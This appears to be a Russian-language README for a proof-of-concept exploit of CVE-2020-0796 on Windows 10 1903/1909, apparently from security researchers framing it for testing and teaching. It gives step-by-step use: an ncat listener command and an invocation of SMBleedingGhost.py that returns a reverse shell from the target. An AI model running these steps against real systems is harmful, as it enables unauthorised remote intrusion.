
PoC удаленного выполнения кода для CVE-2020-0796
Убедитесь, что установлены Python и ncat.
Запустите calc_target_offsets.bat на целевом компьютере и настройте смещения в верхней части файла SMBleedingGhost.py в соответствии с выводом скрипта (также см. примечание ниже).
Запустите ncat со следующими аргументами командной строки:
ncat -lvp <port>
Где <port> — номер порта, на котором будет слушать ncat.
Запустите SMBleedingGhost.py со следующими аргументами командной строки:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Где <target_ip> — IP-адрес уязвимого целевого компьютера. <reverse_shell_ip> и — IP-адрес и номер порта, на котором слушает .
<reverse_shell_port>Если всё пройдёт хорошо, ncat отобразит оболочку (shell), предоставляющую доступ к системе целевого компьютера.
Примечание: Возможно, вы задаётесь вопросом, зачем нужно запускать скрипт calc_target_offsets.bat на целевом компьютере, и не сводит ли это на нет весь смысл удалённого выполнения кода. Эти смещения не случайны и одинаковы для всех экземпляров Windows одной и той же версии. Можно было бы сделать атаку более универсальной, определяя версию целевой Windows и автоматически подстраивая смещения, либо вообще не полагаясь на них, но это лишь POC, и мы сделали то, что проще. Мы также считаем хорошим то, что POC не является универсальным и неудобен для использования вне тестирования и обучения.

Затронуты Windows 10 версий 1903 и 1909. Незапатченные версии Windows 10 1903 не поддерживаются из-за ошибки разыменования нулевого указателя в Windows (исправлено в KB4512941).
Из-за характера эксплуатации POC лучше всего работает на целях, работающих на компьютере (или виртуальной машине) с одним логическим процессором. Цели с более чем одним логическим процессором, работающие в VirtualBox, также должны поддерживаться, но в этом случае POC менее надёжен. Другие цели могут не поддерживаться. Подробнее см. наш технический отчёт ниже.